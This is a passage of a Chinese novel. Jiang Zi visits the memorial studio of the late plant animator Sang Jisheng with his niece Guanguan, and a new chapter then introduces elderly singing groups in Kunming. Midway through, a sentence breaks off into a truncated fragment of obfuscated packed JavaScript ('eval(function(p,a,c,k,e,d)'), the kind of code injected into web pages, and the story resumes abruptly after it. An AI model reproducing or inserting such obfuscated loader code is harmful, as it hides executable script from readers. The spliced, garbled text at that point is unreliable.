原来如此。姜籽来了兴致,看看其他几个座椅上都有小盒子。于是她又选了一个看上去有些特别的摇椅。摇椅很旧了,乍看,像是一个圈加一个圈组合而成的椅子,视觉上和桑寄生的签字风格有奇妙的呼应。摇椅两侧的扶手以夸张的圆形造型抢眼,不过它的结构很牢固。坐上去,姜籽轻轻晃了下身子,摇椅摇起来,发出轻微的吱嘎声,但也稳当。她这次拿到的小盒子里是一颗果实,带毛刺的小球球,看起来有些像昆明街边常见的枫香树的果子,但有些差别。 “这是小果栲,它的意思说起来,就有点意思了。”关关也找了个低矮小凳子坐下。凳子小小的,矮矮的,坐上去的人也显得十分乖巧,像在火塘前烤火一般的坐姿,让人觉得接下来她要说的话,一定也很温馨。关关说,“这是他的信。我们这边少数民族都有一些各自很原始又特别的交流方式,其中一种是实物信,用个别的东西,比如树叶、农具等来传达特定的意思。比如,我给你一颗果子,这个果子代表某种意图。即便我不言不语,只要把果子交给你,就传达了我的意思。盒子里的这种果实,代表祝福,比如说,希望两个人和和美美地生活在一起。谁要结婚了,你就可以给他这样一颗小果球。 类似的例子还有,如果我送你一把臭菜,就代表感到惋惜。两年前,一个同事因为女朋友不愿意来西南,又不想分手,所以不得不回江苏的时候。桑导心里挺难过,但也表示理解,于是他拿给那个男孩子一把臭菜。当时可是尴尬极了,男生虽然知道桑导的这个习惯,但对臭菜还是第一次见。要不是我及时翻译了意思,对方脸都绿了。 如果送蕨叶呢,就代表你要等一等。如果工作室门口哪天出现了蕨叶,就意味着今天会发东西,下班时间先不要走。” “发东西?发什么东西呢?”姜籽问。 “他啊,他喜欢赶大集。大集上买回来的栗子、苹果、李子,通常一买就是一大包,他分给大家一起吃。尤其是新鲜的热乎乎的烤松子,就得分着吃,很快吃完,不然凉了就不好吃了。” 姜籽摸索着小盒子里的果实,硬硬的。来时,她记得旧报纸那篇报道里写,桑寄生其实是会开口说话的。在被带出村子后,桑寄生迫于交流所需,慢慢地开口说话,只是说话很慢。在很慢的前提下,偶尔,会有一点点口吃。所以,听话的人一定要很耐心。他更习惯随身带一个小本子,写简洁的字,这样和人交流。但她没想到,这个人说话,也可以有很多方式。到了云南,桑寄生甚至可以用一颗果实、一把臭菜来说话。 “他是不太愿意和人说话吗?”姜籽问。 “更礼貌地说,他应该是那种更愿意和植物说话的人吧”,关关说,“桑导其实是个很和善的人,心软,对小辈很照顾。所以,我不能说他不喜欢和人说话就是不喜欢人,只是他的习惯吧。”关关说着,又换了把椅子,坐在距离姜籽更近的地方。 那是一只很低矮的藤椅,看起来是专门给小朋友坐的,椅子的靠背做成了孔雀尾羽的样子。这是关关修复之后的结果。由于是很早之前的旧物,椅子的主体是好的,靠背却有多处已经裂开,有多个小窟窿。被收回来之后,桑寄生和关关用接近绿孔雀羽毛颜色的毛线,反复缠绕,给它重新缠出了健全的尾巴作为坚实的椅背。一个瘦小一些的成年人,刚好可以舒服有安全地窝进去。 “他和我说过,他更喜欢和植物说话。但也不是开口说话,只是靠近了,就觉得可以交流。植物没有眼睛,没有大脑,没有嘴巴,但它们对光、对水、对土壤都能做出反应。它们是有生命的。你相信,你感受到了这种生命,你就可以更灵活、精准地控制光、借助光,展现出植物的生命来。哪怕是利用枝叶标本,也可以更好地重现它活着的样貌。当它们在你手中变成活的,这就叫做沟通。这种沟通,对我们工作室所做的植材动画,尤为关键。” 这就叫沟通,姜籽在内心默默重复着这句话。这话听起来很熟悉,它牵连出姜籽的一段记忆。 在国美读书时,姜籽的一位老师擅长以传统的岁寒三友位主题的水墨画。老师课上有一个作业要求:技巧之余,要画出风骨。当年,就是这“风骨”二字,让姜籽苦不堪言。或许是因为年纪小,尚未曾经历什么风霜,或许因为从小在昆明长大,这里,植物们被天老爷眷顾,不需要太用力就能长得舒展高大,所以,姜籽的作业总是缺少老师要的气质,从来无法让老师满意点头。 “你要画竹子,枝叶扶疏,要让有些彼此相扶,有些相互疏离,有些单独傲立;你要画梅花点点天地心,有些梅花是向天开的,有些是向地开的。但是,每一个都要有力气。” 姜籽总是达不到“力气”。后来,老师直接让姜籽买了一张去她老家东北的机票,去冷的地方,看植物如何活。那时姜籽第一次去过零下二、三十度的地方。回来后,她画的植物,果然,硬朗多了。那次之后,老师拿着姜籽的作业,对她说,“你终于和会植物沟通了,你以前对它们,太习以为常了。但这不是你的错,你只是太幸运,生在了植物们都好命的地方。但有时,你需要去植物们没那么好活的地方看一看,和更真实的生命,说说话。” 姜籽望着手中的小果实,问关关,“那你们呢?也要和植物说话吗?怎么说呢?” “当然,每个人都需要。我们刚加入工作室时要经历很多课程,包括我。我们要去了解植物的基本科学知识,然后去完成一个作业小片。 有个同事来自四川,爷爷奶奶养烟叶。他就要回去家乡,跟着爷爷种烟叶,然后制作出了一个用烟叶来勾勒爷爷一生的作业。另外一同事研究花朵与日照的关系,通过缩短和延长光照来控制花期,看看十二花神里有多少花可以相遇,以此来重新编写十二花神之间的当代职场新剧。这个很可爱的吐槽小短片还获了奖。 而我,一窍不通。桑导说,我生在云南,对植物太习以为常了。人家觉得壮阔、美好、惊喜的东西,我都无动于衷。所以,我得重新认识植物。于是,他让我整理两个月的植物标本,说什么时候能和植物沟通了,再来找他,往下一步走。” “然后呢?”姜籽问。 “三个月后吧,我就整理出‘毛病’来了。”关关说。 “什么?”姜籽来了精神。 “我啊,我有幻觉了。我好像能和植物说话了。哎,这事儿,说起来神神叨叨的。很难说是听到,或许只是感受到了。我也不知道我感受到了什么,也可能是每天给工作室的花草浇水,整理标本,老眼昏花意识也不清楚了吧。”关关苦笑。 “有一天,我见到一棵树,它的主干分出的两根侧枝中间,又新长出一窝小叶子,像新孵出来一窝小鸟那样。我走着路忽然停下来,因为我觉得,那窝小树叶好像在笑,它们好开心啊!从那之后,我就能辨别植物是不是开心了。当然,也可能是我胡思乱想。 我看到黑水鸡在睡莲叶子上走来走去,我就能知道,莲叶在想什么。它们觉得,这只黑珍珠般的公主很可爱,它们要把莲叶上的水聚拢好,给它在湖面上掬出一片迷你的湖泊来,让它不必和其他黑水鸡争抢,有一个私家的戏水池。 我看到被遗弃在竹林里的小风车,竹林会朝我喊,看它一眼吧,好久美人来看它了。我路过卡主了一只羽毛球的香樟树,会帮无法可施的打球人问一下,能不能帮个忙,让球下来。然后一阵风就会吹过来,羽毛球竟然下来了。” 关关把腿盘上了孔雀椅子,她转过头歪着看姜籽,“奇怪吗”?问话时,它身体微微晃,像荡漾在莲叶上的小水珠。 “不奇怪”,姜籽答。她语气很坚定,又很从容。这是她第二次回答这样的问题了。姜籽心想,二更真的也该来的。 “是吗?哦,你真好啊。当我把这些说给桑导听,他才让我继续下一步了。”关关说着,一下子重心不稳,朝后仰得太过,摇椅直接翻了过去。姜籽忙起身把关关扶起来。一番慌乱之后,姜籽发现,视听室后方有个后门,后门上,挂了两幅画。 说是画,其实更像是两幅蹩脚又难看的字。 第一张,像有小孩子的家庭贴在墙上的识字表,又像化学课本上的元素周期表。每一格的内容都很怪。 “这是,用蓝花楹叶子拼接成的字”,关关解释说。 姜籽细看,这些字果然是用米粒大小的细叶拼成的,字体整体而言,有些像篆体。 “不过,这是他自己造的字,别人都看不懂”,关关补充说,大概是怕姜籽猜很久又猜不出,提前告知答案。 果然,一个妙人创造一个新世界的终极功法,一定包括创造自己独特的文字或是语言。如果把一个人的人生,看成一个文明的发展史,那它必然也应该有仓颉造字、盘古开天这样的创世神话。 原来是一幅书法作品,姜籽不由地多瞻仰了几分钟,哪怕暂时还看不出头绪。姜籽没有放弃,她还在对着这些怪异的字看,“他想表达的,是自由吗?”姜籽问。 “哦,哈”,关关十分惊讶,走近了,和姜籽一起看,又转头看看姜籽,笑着说道,“竟然有人能猜到。他和我说过这幅字的内容,第一句话是,不再圉于囹圄,第二句,原谅我,实在忘记了。忘记之后,我对着它,再也认不出来了。不过,你为什么觉得和自由相关呢?有什么门道吗?” “虽然有很多方块的元素,但我感觉,这些树叶,是飞着的。所以就大胆猜了一下,没什么特别的法门,但既然飞起来了,一定是和飞翔、自在、冲破框架这类意思相关吧?我只是顺着猜了一下。”姜籽说。 “这样简单么?”关关又对着那幅她忘了什么意思的字看了一下,嗯,还是看不懂,她放弃了,转而问姜籽,“那,也请猜一下另一幅吧!” 关关指向的另一幅,应该也是字,而且很明显,是四个字。 姜籽这次不太敢认了。她想起一个段子,网友猜字,讨论一番,认定是“逮住□□攥出尿来”,结果人家写的是“前程锦绣,继往开来”。就这种字数确定的怪字,最危险了! 但挨不住关关的央求,姜籽又仔细看它。这幅字是用蕨的小叶子拼成的行书。姜籽看了一会,打算放弃,右眼皮忽地开始跳起来。她觉得这痉挛来得着急,或许用眼过度,于是用手轻揉了下右眼睑,再眨眨眼,睁开眼,这幅字在她眼中竟然很神奇地,明了了 - - “归去来兮。” 关关看着这幅字,又看看姜籽,来不及整理乱了衣角,只干愣着。过了半晌,她猜悠悠说道,“你是第二个认出来的人。” “那第一个是谁?”姜籽问。 “他自己。”关关说完,无奈地笑起来,笑得很爽朗,不像是一个刚摔了一跤的人,也不像是悲伤地怀念一个故人的人,“毕竟,真的很难认,而且还有点难看。” 不止认出了字,姜籽还发现,“来”字上部分的那个丿笔画,隐隐约约在动。她径自走上前,试探性地,用手轻轻触摸。这个笔画,竟然是立体的,似乎还能动。她尝试把它小心地拨动,打到了另一边,“嘎嘣”一声,后门开了。 这个笔画,原是一个隐者的门闩。这幅字,也不只是一幅字,它掩住了视听室的门。 门开了,姜籽才意识到,刚才这一系列动作太莽撞了。她似乎短暂地失去了意识,被谁推着打开了一扇门。回过神来,她赶忙道歉。关关带着一脸惊讶的神色,但无意责怪。她整整衣服,没有再坐下,而是走上前去,把那扇门更进一步推开。 门后是一条小路。 “既然,你打开了。要不要去村子后面的林子里走走?我叔叔,可能在邀请你了。不要拒绝。”关关道。 即便在建在一小块平坝上,阳荷村的房子也不是平整地一排一排存在的,而是依据轻微的地势起伏,各有各的朝向,不太讲究汉族的门当户对。小门口的这条小径,歪歪斜斜地贯穿着村子的后半部分。姜籽随关关沿着小径向前走,路过几家小院,每家每户都养着花。有些是防止虫害的,比如蛇灭门。尽管现在村子里几乎没有蛇了,人们还是留下了这个习惯。还有一些多肉装饰在大门两侧,绿色的珊瑚树因经久日照,窜成了一丛丛密林,顶端晒得通红,像极了红珊瑚,显得这家人很是富贵。 脚步向上,缓缓爬坡,两人走向村后的树林。小径开始变得宽阔起来,渐渐远离人家,植物都生得高大健壮。左边探出来几片巨大的海芋叶子,右边又垂下几片懒惰了的棕竹叶春羽、龟背竹、芭蕉叶,各个都铺展得很嚣张,对小径上的来人有好奇心。姜籽身入其中,不得不左拨一下,右拨一下,像是把一扇扇门帘推开,动作很轻,不敢打扰这秘境的看守者们。如果推的力道太大,它们还会荡回来打人。 有那么一个瞬间,姜籽觉得像是进入了一个游戏世界。怪不得,隔壁村的偷甘蔗活动这么火爆。在这样的地方,人们真的会相信,自己会变成一只偷甘蔗的狗熊,或是误入密林的小白兔。 相较姜籽的谨慎,关关一进林子,就不太一样了。她像一个听见了圆舞曲的舞者,脚步不自觉地有了属于山林的节拍。 “别紧张,你可以搂着森林里的风跳舞,跳着跳着,你就真的进入森林了。”她一边说着,一边弯下腰,拔了一丛狗尾巴草,再来几朵金黄色的野菊花,攒子手中,几秒钟,就攒出一束花。她递给姜籽,“拿着,拿着就不紧张了。” 又走几步,她停下来,脚一勾,地上一只细长的树枝就到了她手中。她拿着小树枝挑起了身边一束藤蔓植物。姜籽细看,叫起来,“小西瓜!” 是马泡瓜,她好久没见过了。细细的树枝像关关延长了的手臂,灵活地搭上那根马泡瓜的枝条,关关一拉,藤轻盈地划出一段抛物线。再利落地一薅,几颗马泡瓜就落入了关关的掌心。她示意姜籽也来摘,姜籽摘了五六个,两人分一分,拿在手中把玩。说起来,这瓜看起来很爽口,像小青瓜,但吃起来多少还是生涩的。关关没有吃,她把藤轻盈地甩回了不远处,把手中的小瓜抛向了远处,帮它在别处生一生根。 头顶上,青冈栎、云南油杉、樟树、桑树、桧木、榉树等高大的乔木丛生。越往里走,林子越密,大树把这里包裹地像一颗味道奇特的糖果。姜籽隐隐约约嗅到一丝香甜。当这种气味越发浓烈时,两人走到了一棵巨大的桑树之下。 就是它了。这就是桑寄生的来处。 巨大的桑树有笼罩住一切的气度。即便在夏季的午后,它仍将这里的林间梳理地很清凉。桑寄生的骨灰,就在这里。关关担心姜籽忌讳,只说,想让她看看这棵“生”出了桑寄生的树。 然而姜籽敏锐地视觉,发现了桑树粗壮的树枝上,有一座小小的树屋。树屋被刷成了粉色。除了桑寄生的骨灰,里面还有一些粉色的玩偶,粉色的微型桌椅和床,都是桑寄生自己做的,他喜欢粉色。尽管桑寄生的作品里都是清淡的绿色,私人生活中,却有很多粉色的东西。除了粉色的树屋,这几棵树上还有另外几处小房子,关关会定期往里面放一些坚果。动物们偶尔来住,最常见的,是松鼠。有了它们,桑寄生在这里就不会寂寞。 亨利·梭罗曾在瓦尔登湖畔建造小木屋,约翰·巴勒斯曾在河畔小屋演绎众鸟欢乐颂,约翰·海恩斯在荒原小屋里面做关于北极的古老的梦。和自然亲近的人,往往都想要一个小木屋,人在其中远离喧嚣,与自然为伴。桑寄生在去世之后,也实现了这样的生活。关关如实坦露,姜籽也并不觉得害怕,只是好奇,“他竟然喜欢粉色?” 桑寄生喜欢上粉色,也是最近两年的事情。他身体不太好了,做事更任性,越发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜籽听着,默默地把刚才关关做的那束花,放在了桑树下。关关看到,又随手摘了个姜籽未察觉到的藤蔓植物,三下两下,把它编成一只鹿。又随手捡一些叶子,在树下的地上拼出一幅飞鸟的图案。关关常在林间走,真的见过这些动物,对他们的特性、灵性体察精准。编起来、拼起来,都信手拈来。 姜籽静静地看着她手中灵活的动作,回忆起一个人。 多年前,她跟随参与的植物志项目组,受邀去海南岛参加一个活动。到林业局一下车,姜籽就被半空燃起的花火惊艳到了。岛上遍布火焰木,开得热烈,落花满地,拾起来一朵细看,每一朵都像穿着火红色大裙摆的金发姑娘。姜籽看到一个小女孩在摆弄落花,把每一朵落单的红裙舞娘,摆成了舞团。她又随便捡了几片火焰木的落叶,按照颜色的深浅过渡,摆出了一个圆形的舞台。 姜籽彷佛从关关身上,看到了那个小女孩长大了的样子。她恍惚又从关关的身上,看到了桑寄生年轻时候的样子。她从这样微妙的关联之中,揣摩着桑寄生奇妙的人生。 这感觉,是准的。如果在这个世界上找一个能懂桑寄生又很像桑寄生的人,那一定是关关。 因为关关,就是桑寄生从村子里带出去的会画画的孩子。她的人生历程,某种程度上而言,和桑寄生是叠合的。虽然,桑寄生从村中带出去读书的孩子不只关关一个,但只有关关,选择了和桑寄生类似的道路,在桑寄生归航时,坚定地追随他回来。 “你看那些竹子,像不像狗尾巴草?”关关起身,问姜籽。 姜籽从山林中回望桑寄生的纪念馆,竹子长到到了顶端,就会慢慢弯下腰来,远看,确实像。 关关忽然很突兀地说,“我叔叔有一些不太好的传闻。” 话题转换得有点快,姜籽不知如何应对。但她记得二更的锦囊:对方提到沉重的话题,不要回复,从容地聆听。 “我叔叔他结过一次婚,老婆孩子现在都在国外。有一些说法,说他在国内赚了钱,还不是把老婆孩子都送出去了?有些人拿这些否定他回家乡之后所做的一切事情。 其实,他和前妻在婚后逐渐对生活的规划方面发生了很大的分歧,前妻觉得,有钱有名气了,就该出国。她那一代的人,从国内还不如美日欧洲国家的背景下长大,在精神上产生对于欧美的崇拜,也不是不合理的事情。那是她们的选择。 但我叔叔和她不一样。其实,他们在离婚之前,已经分居多年了。所谓的儿子,是在分居的那几年,前妻和男友生下的。随后,前妻和儿子跟着那个男人去了美国,但后来,据说两人没在一起。前妻在之后努了把力,嫁了个美国白人。后面如何,完全和我叔叔无关了。 我叔叔的婚姻,是以妻子一方的过错为缘由离婚的,双方没有剪不断的复杂矛盾,财产也分得很清楚。不知道为什么,还是会有这样的传言。工作室发过公告。但叔叔去世后,这样的言论又被翻出来。” 自从走入森林之后,关关就直接叫桑寄生叔叔了。 “我再年轻两三年的时候,会觉得这很不公平。一度为此赌气。现在呢,好一些了,不觉得有什么。” “为什么?”姜籽问。 “他所做的一切,都在生长啊,不是吗?你看,那个纪念馆,就像生机勃勃的狗尾巴森林啊!艺术新村民计划,也做得很顺利,我们的工作室虽然是以叔叔为核心建立的,但即便它走了,我们的事业也依然没有收到影响,大家都被他雕琢得很成熟了,各有各的作品,长久地生发下去。 他的艺术生命和生命,都不会因为其他什么,变质。我叔叔和前妻有本质的区别。一个认美国爹,一个认祖归宗,根本不会在同一部史书上。争论和解释变得不再必要,浪费心神和时间。各自写好各自的篇章就好了。他的篇章,写得很好。剩下的,留给时间吧。” 关关不知道从哪里掏出来一包坚果,问姜籽,“吃吗?” 姜籽拿了一颗碧根果,关关自己又吃了几粒核桃,剩下的,随手塞在了最矮的一个小树屋里。时常来看桑寄生,现在关关也变得像森林里的谁,比如一只松鼠,会藏东西。 她歪着头看姜籽,问道,“你说他,像不像森林里的一只松鼠?” “什么?” “我觉得叔叔没走。他还在这片森林里。”关关说,“或许,就变成了一只松鼠吧。” 桑寄生回云南之后,回到曾经旧村子边缘处的山林里,看到小时候他给榕树细长气根辫过的辫子,保持着辫子的姿态,扎根大地,长成了粗壮的树干。他喜欢给很多植物编辫子。来到新村后,来这片山林时,也延续了这个爱好。关关觉得有趣,跟着学,但后来就不学了。因为她想明确一件事情,就是无论她在林子里看见什么辫着的东西,就能确信是叔叔留下的,只有叔叔会这么做。 “他自从回来了,就一直都喜欢往林子里多。在外人看来是躲,但他看来,应当是回。他来自森林,最后,也回归了森林。我想,他并不孤独。他是有一整个森林的人。我甚至开始理解,为什么人生最后的弥留时刻,他整个人特别安静。我怀疑他能感受到,要回家了。” 松鼠一辈子都在树上跳来跳去,它和树说话吗? 说吧,咕咕嘎嘎,人类可能听不懂,不知道它在说什么。 它会对着大树倾诉吧? 会吧,表达对森林,对万物的眷恋。对天对地,对森林,对雨水、泥巴、大石头。有他自己的语言,他不会寂寞。 姜籽静静听着关关,以不以交流为目的的声音,细声地嘟囔着。 “那你,回到这里,会寂寞吗?”姜籽问。 “当然,没有!”,关关看着远方层层叠叠的绿,“我有想做的事情,就在这里做。这里真实,简单,辽阔。” “我现在也很喜欢森林。早晨走一遍,傍晚走一遍,剩下的时间,做自己喜欢的事,这一天就过得很充实。人越坚定,越简单。越简单,越坚定。我做的事情很微小,顶多,算是一种可爱的艺术吧,像一滴雨一样落入森林那样,或许能滋养几个人的心田,也没什么很大的用处。但我已经想好了,我的人生,没有必要这么复杂和匆忙。我愿做森林里的一滴雨,无人知处,慢慢落,最终有一点点润泽这个世界的意义,就可以了。 而且,你不也回来了吗?姜籽老师,和画师?”关关眨眨眼睛 相认了。 坐在桑树下,背靠着大树,两人渐渐地都不再言语。关关大概是在陪伴桑寄生,姜籽也乖乖的,过来拜会这位老师。清风微动,从一片叶子,吹到另一片叶子。在它们旁边,迷你树屋里栖息着一只睡得很甜的小松鼠。夕阳西下,天空由红变黑的过程中,会路过一道紫,像桑椹的紫。 在天色变紫时,姜籽忽然觉得似乎口袋里有轻微的触感,手掏口袋,竟然摸到了一个东西。抽出来,是图书馆里的一张卡片。 夜深沉 花未眠, 晚安,亲爱的。 身旁的关关仍在闭目养神,姜籽没有打扰。她学着关关那样,把这张卡片,放在了她藏坚果的那个最低矮的小树屋里。 就这样,和桑寄生问个好,再道个别吧。 18. 第十一课(上)周至柳 他在找他的露落拜 01 让呼吸变得可爱 秋天了,银杏金黄。 不是只有一两处金黄,是大街小巷的银杏树、滇朴、梧桐树都陆续变得金黄。有些树黄得死心塌地,将自己坦露得很赤诚,比如银杏。一棵银杏树浑身金黄且叶子尚且牢固不落的时刻,它就是街道上的王。有些树黄得有些小心思,渐生出层次来,把自己装点得很耐看,比如滇朴。复调的黄叶随风落入金边吊兰、细叶麦冬构成的绿化带,调和出从墨绿、翠绿到浅黄、金黄、橘黄色的渐变调色盘。 这样的季节,你会不由地羡慕每一个坐在金黄的银杏树下晒太阳发呆的人。即便不认识她们,你也可以善意地妄断她此刻的幸福。这样的季节,昆明的天空通常万里无云,一望无际的蓝,在高海拔的日光照射下,如海水般透亮。偶有多云,云彩被风吹出千万种形状,似秋随手一挥,写在湛蓝天幕上的一些闲笔,值得人慢慢读,读出心朗气清。 昆明人,就在这样的一幅画里捡秋。你看,那个带着孩子的妈妈,把小朋友打扮得像个圆鼓鼓的蓬松小面包。两人蹲在地上,捡新掉落的金黄银杏叶。孩子俯身捡秋时,更像个软乎乎的小蘑菇了。为了挡风,孩子披上了带着小熊耳朵的披风。一阵风吹来,披风轻轻扬起,一些落叶趁机躲进披风,动作很轻,小朋友并未发觉。 周至柳望着这样的画面,觉得自己的呼吸都变得可爱了。 周至柳来昆明,就是为了好好呼吸。 最初做这个决定时,女儿并不看好,一度想劝回,但父亲心意已决。 他是不打算继续呆在京城了。 十年后,他的名字出现在了一张小纸条上 - - 一张姜籽递给二更的小纸条,上面用毛笔小楷写着:欢迎周六下午两点,来麻栗果果好友团。 麻栗果果,一个老年乐团。这个名字得名于昆明西北郊黑龙潭公园的一棵百年麻栗树。大树之下,一个屋顶爬满了青苔的林间小木屋里,有一群时常在此聚会,唱歌弹琴的老年好友团。 姜籽从手机里翻找出一张照片,那是她对着林间小屋完成的一张速写画。 画面里,一棵高大的麻栗树占据了画面约三分之一的篇幅。粗壮的树干高挺参天,铺开枝叶繁茂的伞盖,像这一片麻栗树林里的掌管日光如何洒落的神。画面底部,有一座森林小屋,两、三个凉亭那样大。因为长久地被庇佑在这棵壮丽的麻栗树下,木屋屋顶上长出了一层毛茸茸的厚青苔,彷佛给原木小屋盖上了青绿色的柔软凉被。小屋里舒爽阴凉,几个人影用速写勾勒,简单几笔,刻画出一个吹拉弹唱俱足的小乐园。成员们的身姿彷佛被风吹鼓了一般,有着夸张而飘逸的曲线。这是一幅氛围十分欢快的小画。 左滑,另一张,是几乎一模一样的手机照片。相比画作,照片更能体现出日光在树冠间层层洒落的细节。先是一道道光束,穿越麻栗树,洒落在屋顶上,再是斑点光影落在地上,然后是小屋后面的一片湖泊,将荡漾着的流光折射到林间小屋中人们的身上,映得一群银发老人像童话世界里亮莹莹的精灵。 “大概两年前,我去黑龙潭公园徒步,刚巧遇上他们。我觉得这个画面很美,就画了下来,。临走前,送给了乐团里的一位阿姨。阿姨留了我的电话号码。后来她打电话找我,说大家看了画都很喜欢,问我有没有时间再过去,可不可以给她们每个人画画肖像画,有偿,甚至开了很好的价钱。”姜籽回忆道,“我就时不时过去,给她们画像。对我来说,那算是放松了。” 姜籽是个实打实的社恐,但她很青睐这棵大树照料下的林间小屋,与屋中的人间精灵。画几张画,对她来说不是难事。更何况这些阿姨们,唱歌时声音很亮,不唱时,倒也很安静,很好相处。黑龙潭公园与昆明植物研究所离得很近,是前门后门相对的邻居。研究所的职工宿舍里,有姜籽爸爸还在时买下的一处小房子,走几步,就能到黑龙潭。那段时间,姜籽接了一个科绘项目,时常需要到研究所资料室查资料,索性就在小房子里常住,往来黑龙潭十分便利。 画阿姨们很愉快。这些阿姨是昆明城里最会拍照的人。她们总能发现黑龙潭公园里的哪一棵的姿态最优雅,适合披着纱巾拍照,或是发现哪一棵树的分叉最婀娜,刚好能让她们扶着,摆出三、四十年前电影海报上第一代中国电影明星们的拍照姿态。她们总是把自己打扮得优雅利落,墨镜配红唇,小皮鞋搭着小礼帽,刺绣长裙配上亮色风衣,看起来生命力满满。 每次姜籽画完,那位联系她的云阿姨总是会从黑龙潭公园送她回到植物研究所的门口。每次,两人都会赶上研究所门口的酸奶摊限时开张。研究所位置边远,周边小铺不多,于是有人专门开着面包车,在每天下午4点到6点半之间,兜售当天新鲜的酸奶、牛奶。由于姜籽拒收报酬,云阿姨会买上一大包搁得住的牛奶,以及酸奶、奶啤,狠狠地塞到姜籽怀里。姜籽推卸不了,一连几个周末,都抱着一兜酸奶走回家。 就这么隔三差五地画,姜籽差不多画完了一半的成员。 “你就快画到老周了,小姜”,云木香在电话那头深深叹了口气。麻栗果果好友团的成员老周,周至柳,因病去世了。“但你画的不少合照里,都有他”,云阿姨安慰道。 在收到小纸条的第二天,二更又一次坐上了姜籽的小八嘎电动车,两人一路突突突突,从市区向着西北角的黑龙潭公园驶去。 二更并不意外姜籽会认识这样一群有趣的老人家。就在不久前,姜籽带着二更看过翠湖边的一个老年歌友会。 大约是三、四个月前,姜籽邀请二更去她在翠湖边的另一个小家,也算是她的一个工作室。她站在落地窗前,给二更指了指翠湖边的一群人。那里有一个可爱的小世界,一群老年人在桂花香里聚会唱歌。 那是下午三、四点钟,太阳对于老人家而言刚刚好,每个人头顶上都顶着和煦的光。已是春夏之交,年轻女孩们已穿上了轻薄的光腿神器,光鲜亮丽地在湖边拍照。这些上了岁数的人们还带着小礼帽和围巾、手套,和身边的年轻人似乎不在一个季节。 大多数人都打扮得很整洁,有些精致一些,有些朴素一些,但看得出,都是有备而来的。一位穿着旗袍的女士挽着一位穿了一身白西装的老先生,结伴而来。女士一头银丝烫发,男士带着礼帽,看不到头发。他们步伐很慢,身姿却还算挺拔。两个人走到花坛边的木座位边,找了个空处。二更以为他们要坐下了,两人却只是弯腰,奶奶从爷爷的手提皮包中取出两个折叠得四四方方的薄棉坐垫。他们先把垫子垫在座位上,才彼此扶持着慢慢地坐下。奶奶翘起脚,她的红色皮鞋擦得很亮,搭配了她们那代人很喜欢的肉色短袜。爷爷穿了皮鞋,与白西装颜色适配,他的西装裤连裤脚也都是很干净的。 二更从没意识到,午后有太阳晒着的木座椅,也会是凉的。她发现几乎每个老人家都带了座垫,有些讲究的,如这对夫妇,铺的是专用的薄棉座垫,也有一些人用干净的泡沫纸袋、奶茶袋子来当隔垫。 隔着落地窗,姜籽和二更遥遥望着,一场歌友会正式开始了。几位看起来六、七十岁的阿姨手里拿着抄歌的本子,围在那棵最大的桂花树下,一起开唱了。她们轻声低唱,没有话筒,并不扰民。起初,是几位姐妹一起合唱,结束后,隔着独唱,轮流安排好,不争不抢。 “她们在唱什么?”二更问姜籽。 “一些老歌”,姜籽在旁边解说,“送战友踏征程,默默无语两眼泪,耳边响起驼铃声。” “好厉害啊你!”二更一边夸赞一边转头看见姜籽,“哈,你作弊!”原来姜籽正用一个小巧的望远镜看着不远处的歌友会,大差不差地读出了阿姨们的唇语。 二更借过望远镜,镜筒里的图像圆圆的。她先用圆圆的镜头,套住了阿姨们。她们手里拿着的歌词本此刻看得更清楚了。二更想到了赵本山多年前的小品《昨天今天明天》里出现过的那个软皮本子,阿姨们手中的和赵本山手中的本子几乎一模一样,外皮很有年代感,橘粉色。这种复古的颜色,在阳光下倒是很好看。 镜筒挪一挪,挪到翠湖公园。这是一个典型的老派的公园,就适合放在镜框里看。桂花树下,龙鳞春羽硕大的叶子温柔地接住了每一朵被风吹落的小小桂花。湖边栏杆上,麻雀在石栏洞里跟着音乐轻轻跳跃,一会儿三两只在一起,一会儿又各自分开。它们在有限的舞台里,尽情地配合着歌声。就在歌友会的一边,湖边座椅上,一对青年男女在约会,女孩为男孩轻轻拂去头上的落叶,这一刻,竟有点八十年代老电影《庐山恋》的质感。 二更有一种偷窥的乐趣。她放下望远镜,又看看姜籽,用眼神问她,为什么有望远镜呢? “我不是偷窥狂,但画画呢,难免偶尔无聊,需要调剂。”姜籽答。 起初,是因为湖边的一棵树冠很美的树,它在水中的倒影很吸引人。那是一棵白蜡木,因为亲水的特性,湖边的它已经长歪了,无限向着水面低头,像一个老酒鬼神仙,下凡来人间,痴痴讨酒。 姜籽想看得更仔细一些,便用望远镜看。看完白蜡木,又顺带着看看附近什么花开了、什么花败了。再然后,她看到一个做轮椅的老人家。 那段时间,姜籽在做中国入侵植物相关的植物科学画,熬了三、四个月。她基本常驻在翠湖边的工作室里,上午画画,下午画画,晚上跑步。白天,每当觉得累了,她就拿起望远镜向翠湖看,换一换眼中、脑中的画面。 自打发现了那位轮椅上的老人家,她日后就总能看到他在午后,坐在白蜡木附近晒太阳。如果日光变动位置,他会挪动轮椅,让自己始终被晒着。看的次数多了,姜籽发现,这对他而言并不容易,老人年纪大了,手臂的力量并不强健。 有一次,老人在转弯时不慎摔下来了,倒在地上没办法动。姜籽很着急,但她离得很远。很快,周围人围了上来,帮他坐回去。一阵熙攘之后,姜籽发现,那群人并没有走,而是在附近一棵桂花树下围成一个圈。老人也被推到了桂花树附近,继续在轮椅上坐着,望着那群人。 她们在唱歌。这是姜籽和桂花树下合唱团的第一次单方面地相遇。 此后,姜籽若在这间工作室久呆,就会时不时地看一看那棵桂花树下的人们。去年年底,老人就再也没有出现过。但那群唱歌的人,时常会在。她们一般会在单数日聚会。看多了,姜籽知道,她们的人员很固定,偶尔会有人数的变动,但作为一个整体,桂花树下的合唱团一直都在。看多了,虽然隔着段距离,听不见什么,她也大抵能猜得出她们的曲目。她把这些老歌找出来听,出奇得收获了一个未曾期待的效果:这些老歌,很助眠。尤其是午后小睡的时候,放着它们,姜籽躺在沙发上,像在湖边晒暖一般。 “真那么奏效吗?”二更很好奇。 “那你试试呗”,姜籽答。 在姜籽工作室放下望远镜的那天起,二更也开始研究老歌。她发现很多老歌的歌词写得很超然。 